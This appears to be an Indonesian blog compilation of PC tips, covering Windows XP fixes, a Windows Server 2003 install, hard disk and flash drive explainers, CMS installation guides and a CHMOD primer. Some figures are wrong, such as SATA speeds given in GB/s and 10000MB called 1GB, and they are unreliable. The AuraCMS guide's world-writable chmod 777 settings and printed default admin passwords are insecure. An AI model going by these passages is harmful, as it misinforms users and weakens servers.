Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)

Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)

Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)

Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.

2. Kesalahan 'Generic Host Process'
Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.

Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)

Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.

3. Nero 6 membakar terlalu lambat
Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya.



Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.

4. Popup-Blocker memblokir update
Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update.



Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.

5. TV-playback bergoyang
Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft.



Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)

Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.

6. Windows hang saat shutdown
Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.

Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)

Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.

7. Proteksi copy menyebabkan crash
Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.

Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.

Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.

8. WINDOWS SERVER 2003
»Profile Tidak Dikosongkan

Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc)



Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.

Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.

9. Tidak ada lingkungan jaringan
Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini.



Klik 'Start | Run' dan ketikkan perintah berikut untuk menjalankan Registry Editor. (regedit)

Masuk ke HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced'. Buat entri 'Start_ShowNetPlaces' melalui 'New | DWORD-Value' dan beri nilai '2'. Setelah me-restart PC, Anda dapat mengakses 'My Network Places' melalui menu Start.

10. Crash setelah klik kanan
Setelah Anda mengklik kanan sebuah file EXE, semua icon di desktop menghilang atau Windows melaporkan bahwa file 'Explorer.exe' menyebabkan pelanggaran proteksi. Kesalahan ini bisa disebabkan oleh sebuah virus seperti 'Win32.Bube'. Bila Anda tidak menemukan keberadaan virus ini, mungkin sebuah perintah dalam menu konteks tidak terintegrasi dengan benar saat aplikasi diinstalasi. Bila demikian, Anda harus melepaskan link ke menu tersebut.

Pertama, periksa dulu semua media data dengan sebuah virus-scanner aktual. Banyak forum yang menyarankan NOD32 (www.nod32.com) karena mengenali 'Win32.Bube' dengan tepat. Bila Anda tidak menemukan virus, periksa apakah Windows crash hanya bila sebuah program tertentu diklik atau bukan. Bila ya, singkirkan aplikasi yang bermasalah ini dan lakukan instalasi ulang.

Bila masalah masih tetap terjadi, singkirkan subkey untuk link ke program yang bermasalah tadi dari registry. Untuk itu, jalankan Registry Editor dan masuk ke kunci 'HKEY_CLASSES_ROOT\exefile\shellex'. Tandai kunci ini dalam pohon direktori dan simpan melalui perintah 'File | Export'. Selanjutnya, buka 'shellex' dan hapus seluruh subkey 'ContextMenuHandlers'. Restart PC. Masalah crash biasanya akan teratasi karena semua link dengan menu konteks yang cacat telah disingkirkan.


Source : CHIP 03/2006
Author : AS.Pratisto@CHIP.co.idThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it




Read More...

Instalasi Windows Server 2003 (Bagian 1)

Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut. Instalasi ini dapat diterapkan pada :

Windows Server 2003 x86
Windows Server 2003 x86 Service Pack 1
Windows Server 2003 x86 R2
Windows Server 2003 x86 Service Pack 2
Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:

CD/DVD instalasi Windows Server 2003 (Enterprise Edition)
CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.
PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.
Baiklah mari kita mulai:


Boot komputer dengan CD Windows Server 2003

Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.



Tekan tombol ‘ENTER’ di keyboard. Anda akan menuju ke layar EULA



Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003.

Membuat Partisi

Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).



Jika sudah selesai, tekan ‘ENTER’.

Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.



Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.



Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows



Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang.



Windows Server Setup GUI



Tunggu beberapa saat sampai muncul Wizard berikut:



Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’.



Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.



Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’



Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.





Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.





Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.






PIlih ‘Custom settings’ dan klik ‘Next’.







Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’




Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.



Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’.



Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.



Selamat, Anda berhasil melakukan instalasi Windows Server 2003!


Read More...

Kelebihan dan Kelemahan Windows dibanding OS lain

Kelebihan Windows

* User friendly dibandingkan dengan sistem operasi yang lain
* Instalasi software masih mudah dibandingkan dengan instalasi di sistem operasi yang lain
* Banyak software berbasis Windows
* Dukungan driver yang lebih banyak

Banyak orang pakai Windows sehingga banyak perusahan membuat aplikasinya menggunakan dasar Windows. Ada beberapa aplikasi yang hanya ada di Windows dan tidak di OS yang lainnya. Bahkan beberapa aplikasi vital dunia kerja.

Karena systemnya sudah dishare untuk bisa dikembangkan (bukan di open lho), maka semakin mudah siapa saja membuat software untuk dijalankan di Mircosoft Windows. Terutama dunia usaha yang membutuhkan aplikasi yang sesuai dengan kebutuhannya.

Perkembangan paling cepat dibanding software lainnya karena banyak perusahaan software yang konsisten menciptakan kemajuan pada sistem operasi Windows.

Banyak gratisan GPL dan Freeware ditawarkan untuk Windows.

Kalau ada masalah mudah menyelesaikannya sebab hampir semua orang bisa, dan mencari ahlinya juga tidak sulit disekitar kita.

Kelebihan yang lain... duitnya banyak. Kalau duitnya banyak mau apa saja lebih unggul dari lainnya.

Kekurangan Windows

* Harga licensi mahal
* Komunitas terlalu sedikit, karena bersifat closed-source
* Banyaknya virus yang sering menyerang Windows
* Sistem keamanan yang masih dibilang kurang
* Sistem yang kurang stabil

Banyak orang tahu bahasa pemrogamannya dan banyak orang pakai karena itu banyak juga yang buat virus untuk Windows dibanding yang lainnya (lebih cepat beken dan tersebar tentunya).
Karena semua orang atau software bisa utak-utik system Windows karena itu sering kali jadi ngadat dan ngaco.
Ada banyak versi sehingga kalau mau yang powerfull harus bayar lebih mahal.
Ringkih... jadi kalau dipakai setahun, udah pasti anda harus membeli CPU baru demi performa karena OS anda sudah gak bisa dirapikan lagi.... kaya orang sudah jeroannya banyak lemaknya.

Read More...

Media Penyimpanan pada PC (Flash Disk)

USB flash drive adalah alat penyimpanan data memori flash tipe NAND yang memiliki alat penghubung USB yang terintegrasi. Flash drive ini biasanya berukuran kecil, ringan, serta bisa dibaca dan ditulisi dengan mudah. Per November 2006, kapasitas yang tersedia untuk USB flash drive ada dari 128 megabyte sampai 64 gigabyte.

USB flash drive memiliki banyak kelebihan dibandingkan alat penyimpanan data lainnya, khususnya disket atau cakram padat. Alat ini lebih cepat, kecil, dengan kapasitas lebih besar, serta lebih dapat diandalkan (karena tidak memiliki bagian yang bergerak) daripada disket.

USB Flash Drive dalam Windows

Sistem operasi Microsoft Windows mengimplementasikan USB flash drive sebagai USB Mass Storage Device, dan menggunakan device driver usbstor.sys. Karena memang Windows memiliki fitur auto-mounting, dan USB flash drive merupakan sebuah perangkat plug and play, Windows akan mencoba menjalankannya sebisa mungkin sesaat perangkat tersebut dicolokkan ke dalam soket USB. Windows XP dan yang sesudahnya bahkan memiliki fitur Autoplay, yang mengizinkan flash drive tersebut diakses secara keseluruhan untuk menentukan apa isi dari USB flash drive tersebut.

Akhir-akhir ini, banyak virus komputer lokal seperti halnya Brontok/RontokBro, PendekarBlank, dan virus lokal lainnya menggunakan USB flash drive sebagai media transmisi virus dari satu inang ke inang lainnya, menggantikan disket. Virus-virus yang sebagian besar berjalan di atas Windows tersebut akan semakin cepat beredar ketika memang Windows mengakses drive teserbut menggunakan fitur autoplay yang dimiliki oleh Windows. Karenanya, ada baiknya untuk menonaktifkan fitur autoplay, meski hal ini kurang begitu membantu mencegah penyebaran virus.
Read More...

Wednesday, January 7, 2009

Media Penyimpanan pada PC (Hard Disk)

Photobucket

Rahasia Dibalik Kepingan Hard Disk Dan Komponen Penyusunnya

A. jenis - Jenis Hard Disk

Hard disk atau bisa disebut juga hard drive, fixed disk, HDD, atau cukup hard disk saja, adalah media yang digunakan untuk menyimpan file sistem dan data dalam komputer. Hard disk terdiri atas tiga bagian utama, yaitu piringan magnetik, bagian mekanis, serta head untuk membaca data. Piringan tersebut digunakan untuk menyimpan data, sedangkan bagian mekanis bertugas memutar piringan tersebut.

Jenis hard disk bermacam-macam, tergantung pada kategori yang digunakan. Misalnya, berdasarkan jenis interface-nya, tingkat kece­patan transfer data, serta kapasitas penyimpanan data.

Jenis interface yang terdapat pada hard disk bermacam-macam, yaitu ATA (IDE, EIDE), Serial ATA (SATA), SCSI (Small Computer System Interface), SAS, IEEE 1394, USB, dan Fibre Channel. Jenis interface menentukan tingkat data rate atau kecepatan transfer data. Misalnya, hard disk SCSI memiliki kecepatan transfer ± 5 MHz, artinya mampu melakuan transfer data hingga 5 Mb per detik.

Di antara sekian banyak jenis interface, hanya tiga jenis hard disk yang sering digunakan, yaitu IDE, SATA, dan SCSI. Hard disk SCSI biasanya banyak digunakan pada server, workstation, dan komputer Apple Macintosh mulai pertengahan tahun 1990-an hingga sekarang. Sedangkan hard disk yang banyak digunakan pada komputer personal (PC) adalah jenis SATA.

ATA

AT Attachment (ATA) adalah antarmuka standar untuk menghu­bungkan peranti penyimpanan seperti hard disk, drive CD-ROM, atau DVD-ROM di komputer.

ATA singkatan dari Advance Technology Attachment. Standar ATA dikelola oleh komite yang bernama X3/INCITS T13. ATA juga memiliki beberapa nama lain, seperti IDE dan ATAPI. Karena diperkenalkannya versi terbaru dari ATA yang bernama Serial ATA, versi ATA ini kemudian dinamai Parallel ATA (PATA) untuk membedakannya dengan versi Serial ATA yang baru.

Parallel ATA hanya memungkinkan panjang kabel maksimal hanya 18 inchi (46 cm) walaupun banyak juga produk yang tersedia di pasaran yang memiliki panjang hingga 36 inchi (91 cm). Karena jaraknya pendek, PATA hanya cocok digunakan di dalam komputer saja. PATA sangat murah dan lazim ditemui di komputer.

Nama standar ini awalnya adalah PC/AT Attachment. Fitur utamanya adalah bisa mengakomodasi koneksi langsung ke ISA BUS 16-bit sehingga dinamai AT Bus. Nama ini kemudian disingkat menjadi AT Attachment untuk mengatasi masalah hak cipta.

SATA

SATA adalah pengembangan dari ATA. SATA didefinisikan sebagai teknologi yang didesain untuk menggantikan ATA secara total. Adapter dari serial ATA mampu mengakomodasi transfer data dengan kecepatan yang lebih tinggi dibandingkan dengan ATA sederhana.

Antarmuka SATA generasi pertama dikenal dengan nama SATA/150 atau sering juga disebut sebagai SATA 1. SATA 1 berkomunikasi dengan kecepatan 1,5 GB/s. Kecepatan transfer uncoded-nya adalah 1,2 GB/s. SATA/150 memiliki kecepatan yang hampir sama dengan PATA/133, namun versi terbaru SATA memiliki banyak kelebihan (misalnya native command queuing) yang menyebabkannya memiliki kecepatan lebih dan kemampuan untuk melakukan bekerja di ling­kungan multitask.

Di awal periode SATA/150, para pembuat adapter dan drive meng­gunakan bridge chip untuk mengonversi desain yang ada dengan antarmuka PATA. Peranti bridge memiliki konektor SATA dan memiliki beberapa konektor daya. Secara perlahan-lahan, produk bridge mengakomodasi native SATA. Saat ini kecepatan SATA adalah 3GB/s dan para ahli sekarang sedang mendesain teknologi untuk SATA 6GB/s.

Beberapa fitur SATA adalah:

* SATA menggunakan line 4 sinyal yang memungkinkan kabel yang lebih ringkas dan murah dibandingkan dengan PATA.
* SATA mengakomodasi fitur baru seperti hot-swapping dan native command queuing.
* Drive SATA bisa ditancapkan ke kontroler Serial Attached SCSI (SAS) sehingga bisa berkomunikasi dengan kabel fisik yang sama seperti disk asli SAS, namun disk SAS tidak bisa ditancapkan ke kontroler SATA.

Kabel power dan kabel SATA mengalami perubahan yang cukup signifikan dibandingkan kabel Parallel ATA. Kabel data SATA menggunakan 7 konduktor di mana 4 di antaranya adalah line aktif untuk data. Oleh karena bentuknya lebih kecil, kabel SATA lebih mudah digunakan di ruangan yang lebih sempit dan lebih efisien untuk pendinginan.

SCSI

SCSI (Small Computer System Interface) dibaca “skasi” adalah standar yang dibuat untuk keperluan transfer data antara komputer dan periferal lainnya. Standar SCSI mendefinisikan perintah-perintah, protokol dan antarmuka elektrik dan optik yang diperlukan. SCSI menawarkan kecepatan transfer data yang paling tinggi di antara standar yang lainnya.

Penggunaan SCSI paling banyak terdapat di hard disk dan tape drive. Namun, SCSI juga terdapat pada scanner, printer, dan peranti optik (DVD, CD, dan lainnya). Standar SCSI digolongkan sebagai standar yang device independent sehingga secara teoritis SCSI bisa dite­rapkan di semua tipe hardware.

Berdasarkan tingkat kecepatan putarannya, hard disk jenis IDE memiliki kecepatan putaran 5.400 rpm dan 7.200 rpm. Sedangkan hard disk SCSI mampu berputar antara 10.000 s.d. 12.000 rpm.

Tingkat kecepatan putaran piringan hard disk diukur dalam satuan RPM (rotation per minute/putaran per menit). Semakin cepat putaran hard disk, maka jumlah data yang dapat dibaca oleh head semakin banyak. Demikian pula sebaliknya.

Beberapa merek hard disk yang banyak digunakan, antara lain Western Digital (WDC), Quantum, Seagate, Maxtor, Samsung, IBM, Toshiba, dan Hitachi.

B. Kapasitas Hard Disk

Kapasitas hard disk merupakan hal penting bagi pengguna komputer terutama bagi para pengguna komputer yang banyak menggunakan berbagai aplikasi 'berat'. Aplikasi semisal desain grafis dan animasi, membutuhan banyak ruang hard disk guna menyimpan file peker­jaannya.

Berdasarkan kapasitas penyimpanannya, jenis hard disk sangat ber­agam. Kapasitas hard disk biasanya dinyatakan dalam satuan GB (Gigabyte) atau 1000 MB (Megabyte), misalnya 40 GB, 80 GB, 120 GB, dan sebagainya. Bahkan saat ini juga telah tersedia hard disk dengan daya simpan hingga sekian Terrabyte atau 1000GB. Kapasitas hard disk yang tersedia di pasaran umumnya cenderung meningkat seiring dengan perkembangan teknologi komputer.

Peningkatan kapasitas hard disk yang sangat cepat menyebabkan harga per MB menjadi sangat murah. Hal ini memungkinkan para pembuat software dan sistem operasi membuat perangkat yang lebih canggih.

Cara utama meningkatkan waktu pengaksesan adalah dengan me­ningkatkan waktu throughput. Adapun untuk meningkatkan kapasitas penyimpanannya, yang harus ditingkatkan adalah kerapatan area di platter.

Kerapatan di area platter ditentukan oleh 2 faktor, yakni kerapatan perekaman (recording density) dan kerapatan track (track density). Kerapatan track mengatur jumlah track yang bisa dipaketkan dalam satu area sementara kerapatan perekaman mengukur jumlah data yang bisa disimpan dalam satu area fisik tertentu.

Pabrikan hard disk saat ini lazim menuliskan ukuran dalam bentuk standar internasional “mega”, “giga”, dan “tera” setelah sebelumnya berbasis binary.

C. Karakteristik Hard Disk

Masing-masing hard disk memiliki karakteristik tersendiri. Karakteristik ini meliputi ukuran fisik hard disk, daya simpan, tingkat konsumsi daya, tingkat transfer rate, dan sebagainya.

Kapasitas hard disk saat ini biasanya dinyatakan dalam satuan Gigabytes. Pada beberapa jenis hard disk model lama, masih meng­gunakan satuan Megabytes.

Ukuran fisik hard disk biasanya dinyatakan dalam satuan inchi. Hard disk yang ada saat ini umumnya memiliki ukuran 3.5” atau 2.5” yang digunakan pada komputer dekstop dan laptop. Hard disk dengan ukuran 2.5” memiliki kecepatan dan daya simpan yang lebih rendah, namun lebih ekonomis dalam hal konsumsi daya listrik dan relatif lebih tahan terhadap guncangan. Pada awal tahun 2007, hard disk SATA dan SAS 2.5” mulai dijual untuk keperluan komputer desktop dan server.

Revolusi ukuran fisik hard disk secara signifikan dapat dilihat pada hard disk ATA-7 LIF 1.8”—yang digunakan pada perangkat digital audio player dan subnotebooks—dengan kapasitas hingga 100GB, tingkat konsumsi daya yang rendah, serta sangat tahan terhadap guncangan. Sebagai perbandingan, hard disk ukuran 1.8” standar yang digunakan pada slot PCMCIA sebelumnya hanya mampu me­nampung 2 s.d. 5 GB saja.

Selanjutnya, berbagai media penyimpanan berukuran 1” mulai digunakan, misalnya kartu memory CF tipe II yang biasa terpasang pada kamera digital dan perangkat portabel.

Dalam hal tingkat operasi baca tulis (input/output, I/O) per detik, hard disk modern saat ini sudah mampu melakukan 50 akses random atau 100 kali akses secara sekuensial per detik.

Karakteristik hard disk yang lain, yaitu tingkat konsumsi daya, tingkat nouse (dalam ukuran dBA), daya tahan terhadap guncangan, serta tingkat transfer rate (kecepatan transfer rata-rata). Nilai transfer rate hard disk umumnya berkisar antara 44.2 MB/detik hingga 111.4 MB/detik. Sedangkan random access time (kecepatan akses acak) berkisar antara 5 ms hingga 15 ms.

D. Cara Kerja Hard Disk

Hard disk menyimpan data dalam piringan dengan pola tertentu yang disebut sector dan track. Track adalah lingkaran konsentris (concentric circles), sedangkan sector adalah salah satu bagian dalam track tersebut. Data yang tersimpan di dalamnya dapat dibaca kembali dengan cara mendeteksi pola tersebut.

Dalam gambar ilustrasi di atas, track merupakan bagian yang berwarna terang yang mengelilingi hard disk, sedangkan sector adalah bagian kecil yang berwarna gelap. Sebuah sector terdiri atas byte tertentu, misalnya 256 atau 512. Kumpulan beberapa sector disebut dengan istilah cluster. Track dan sector dibuat ketika hard disk tersebut diformat.

Hard disk umumnya terdiri atas sebuah spindle yang merupakan pusat atau sumbu bagi sejumlah piringan tersebut dan sering disebut juga dengan istilah platter, tempat menyimpan data, platter motor, rangkaian elektronis atau circuit board, serta cover penutup yang melindungi komponen bagian dalam hard disk.

Platter terbuat dari bahan non-magnetik biasanya kaca atau alu­minium dan dilapisi dengan lapisan magnetik. Pada jenis hard disk model lama biasanya masih menggunakan iron oxide sebagai bahan magnetiknya. Sedangkan hard disk saat ini kebanyakan sudah meng­gunakan bahan lain, yaitu cobalt-based alloy.

Saat hard disk bekerja, platter tersebut berputar dengan kecepatan yang sangat tinggi. Data ditulis dan dibaca ke dalam platter melalui read-and-write head yang berada sangat dekat dengan permukaan platter tersebut, dengan cara mendeteksi dan mengatur tingkat magnetis pada permukaan platter secara cepat.

Platters dan head
Photobucket

Read-and-write head
Photobucket

Circuit board pada hard disk
Photobucket

Kapasitas penyimpanan pada sebuah hard disk tergantung pada jumlah platter yang dimilikinya. Semakin banyak jumlah platter, maka kapasitas hard disk biasanya juga semakin besar. Sebagai gambaran, hard disk umumnya memiliki tiga platter dan enam read-and-write head.

Gambar-gambar dari komponen hard disk bisa Anda lihat sebagai berikut.

Cover penutup hard disk
Photobucket



Platter, head, dan spindle hub motor
Photobucket


Platter motor coil
Photobucket


Komponen hard disk yang telah diurai

Photobucket

Spindel hard disk menggunakan tekanan udara di dalam hard disk untuk mendukung bagian head agar bisa mengapung ketika platter hard disk sedang bergerak. Lingkungan luar terhubung ke hard disk melalui lubang kecil yang terletak di wadah hard disk tersebut. Lubang tersebut sangat kecil dengan diameter hanya ½ mm.

Photobucket

Oleh karena menggunakan tekanan udara, hard disk biasa tidak bisa dioperasikan di ketinggian yang ekstrim (di atas 3000 meter), untuk keperluan tertentu ada hard disk khusus untuk keperluan peng­operasian di ketinggian.
Read More...

Thursday, November 20, 2008

How to Install Endonesia CMS

In this tutorial I will give you the way how to install endonesia CMS. You can download at HERE.The version is endonesia 8.4.Now I will give You the step how to install Endonesia 8.4 to localhost. I think you have installed XAMPP software at your PC.

1. Extract the ZIP file at C:\Program Files\xampp\htdocs\
2. Make database. Open your browser then go to http://localhost/phpmyadmin/.Create new database, fill the name of database up to you, example endonesiadb.Then click create.
3. Import Mysql Data
Still in phpmyadmin at XAMPP, go to endonesiadb database. Click SQL -> browse the SQL data. SQL data is in docs directory at endonesia directory.Then click go
4. Open config.php file in endonesia directory.Find this script, Then Fill like this.
$dbhost = "localhost"; # Mysql Database Host
$dbuname = "root"; # Mysql User
$dbpass = ""; # Mysql Password
$dbname = "endonesiadb"; # Mysql Database Name
Fill with blank of Mysql Password.
5. Open poll.php file in mod directory.If you have PHP editor like Macromedia Dreamweaver, it's easy for you to edit this. Go to row 67 , then change $this with $current_poll. It's appear like this :
$this = unserialize($data);(before)
$current_poll = unserialize($data);(After)

It's done. Go to http://localhost/endonesia. If you want to go admin area, the username is Admin and the password is endonesia.Go to http://localhost/endonesia/admin if you want to login as admin. Endonesia CMS so suited for beginner too.
Read More...

Tuesday, October 28, 2008

Instalasi Aura CMS



Instalasi AuraCMS

Langkah-langkah instalasi:

1. Extract file ZIP yang di download ke folder / directory yang baru
2. Edit file config.php,
ganti parameter yang ada dengan parameter Anda punya seperti :
host, database, username, password untuk MySQL server

3. Set up table dan data di MySQL database Anda
Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront
4. Untuk mengganti tampilan situs, edit default theme yang di set di
config.php, pada themes/… directory/folder
buka header.php & footer.php, lakukan perubahan seperlunya


5. Upload file ke webhosting.
set file permission seperti berikut :
chmod 755 untuk file-file *.php
chmod 777 untuk folder /images
chmod 777 untuk folder /files
chmod 777 to file /mod/online.db.txt
chmod 777 to file /mod/counter.txt
chmod 777 to file /mod/month.txt
chmod 777 to file /mod/today.txt
6. Selesai !

Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/

UntuK diingat :

Layar admin bisa diakses dari http://www.yourdomain.com/admin/
ATAU
http://www.yourdomain.com/?pilih=admin

Untuk login pertama gunakan :
username => admin
password => abc
Sumber: bacasaya.txt @ auracms162.zip


Read More...

ANGKA CHMOD

Bagi pemula, urusan memiliki situs joomla yang tadinya mudah menjadi ribet saat terlibat aktif dalam urusan linux hosting. Apalagi berurusan dengan angka di atas. Pasti tau dong penah berjumpa dengan angka-angka itu. Penasaran, ikuti saya menelusuri tabir kegelapan yang menyelimuti angka-angka keramat itu. Yuk, mari.


Photobucket


Angka-angka seperti 666,664,644,444,777,775,755 dalam urusan hosting linux disebut angka CHMOD (cemot). Saya menyebbutnya angka cemot biar mudah mengingatnya. Biasanya seorang pemula bertidank serba salah dalam memahami apa artinya angka cemot ini. Malah dalam installasi joomla 1.0.xx soal angka ‘aneh’ ini lebih ribet ketimbang Joomla bontot (1.5.xx). Untuk itu saya akan mencoba menguak tabik misteri angka cemot di situs Joomla. Bagi yang sudah mahir dalam CHMOD, mohon bantuannya mengkritisi tulisan ini. Yuk, mari menguliti si CEMOT ini.

Tri Mas Kentir Permissions

Joomla didesain memang untuk gratisan sehingga harus bermain-main juga dengan mesin-mesin gratisan. Salah satunya adalah jenis operasi system web server yang gratisan juga (open source). Namanya si Om Unix atawa Linux. Beda banget dengan Pak de Windows, Linux didesain dengan kerumitan sekuriti yang berlapis dan berlipat. Salah satunya adalah akses keamanan di folder(directory) dan file.


Photobucket


Ada tiga palang ijin yang harus dibedakan dalam mengakses folder dan file di linux/unix. Palang ini oleh Tri Mas Kentir dibagi tiga hak akses (permissions) yaitu

1. Owner Permissions : Ini adalah izin tertinggi dalam penguasaan file dan folder. Owner adalah izin tertingga dalam mengakses segala yang ada dalam system, ruangan batas sumberdaya atau folder.

Bila anda membeli sewa share-hosting web site anda akan mendapat hak owner atas folder atau file yang sudah ditentukan. Jadi anda adalah raja kecil dalam sebuah server. Ada banyak raja kecil yang menguasai hak akses owner/ kepemilikan dalam folder. Biasanya setiap username yang diberikan oleh administrator server hanya terbatas pada folder yang anda miliki. Jadi tidak menguasai seluruh system server. Lain halnya anda memiliki server sendiri (dedicated/private)


Photobucket


